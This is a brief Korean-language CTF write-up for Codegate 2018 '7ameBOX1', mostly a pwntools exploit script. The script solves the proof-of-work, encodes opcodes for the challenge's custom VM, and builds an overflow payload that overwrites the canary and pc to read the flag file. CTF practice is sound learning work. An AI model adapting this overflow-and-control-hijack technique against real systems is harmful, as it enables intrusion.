Codegate 2018 7ameBOX1

p21함수는 _7amebox1에 있는 write_memory_tri 코드를 가지고 왔다.

_7amebox1 디버깅용으로 코드를 복사해서 firmware Opcode, op_type 등을 출력하여서 분석 하면 

오버플로우 취약점이 있다는 것을 알 수 있다.

그리고 뚝딱 풀면 된다.

from pwn import *
import struct
import string
from hashlib import sha1
p=process('vm_name.py')
 
 
 
def proof_of_work():
    global p
    p.recvuntil('prefix : ')
    prefix = p.recvline().split('\n')[0]
    print prefix
    i = 0
    while True:
        en = sha1(prefix + str(i).zfill(4)).hexdigest()
        if en.endswith('000000'):
            print i
            p.sendline(prefix + str(i).zfill(4))
            break
        i += 1
 
def p21(data):
    result = chr((data & 0b000000000000001111111))
    result += chr((data & 0b111111100000000000000) >> 14)
    result += chr((data & 0b000000011111110000000) >> 7)
    return result
 
def dispatch(op,op_type,opers):
    op = (op<< 9 & 0b11111000000000)
    op_type = (op_type << 8 &  0b00000100000000)
    opers[0] = (opers[0] << 4 & 0b00000011110000)
    if((op_type>>8)== 1):
        result = op + op_type + opers[0]
        re = (result >> 7)
        sult = (result - (re << 7))
        return  chr(re) + chr(sult) + p21(opers[1])
    else:
        opers[1]  = (opers[1] & 0b00000000001111)
        result = op + op_type + opers[0] + opers[1]
        re = (result >> 7) << 7
                sult = (result - re)
        return chr(re) + chr(sult)
 
def attack():
    payload = 'flag\x00'
    payload += dispatch(4,1,[0,1])
    payload += dispatch(4,1,[1,1007518])
    payload += dispatch(8,1,[1,1]) #file open
    payload += dispatch(4,1,[0,3])
    payload += dispatch(4,1,[1,2])
    payload += dispatch(4,1,[2,0xf4000])
    payload += dispatch(8,1,[1,1]) #file data read (write_memory)
    payload += dispatch(4,1,[0,2]) 
    payload += dispatch(4,1,[1,1])
    payload += dispatch(8,1,[1,1]) #file data write (read_memory)
    payload += '\x00'*(57-len(payload))
    payload += p21(0x12345) #74565 canary
    payload += 'AAA' #bp
    payload += p21(0xf5fa3) #pc
    p.sendline(payload)
 
proof_of_work()
print p.recv(1024)
attack()
p.interactive()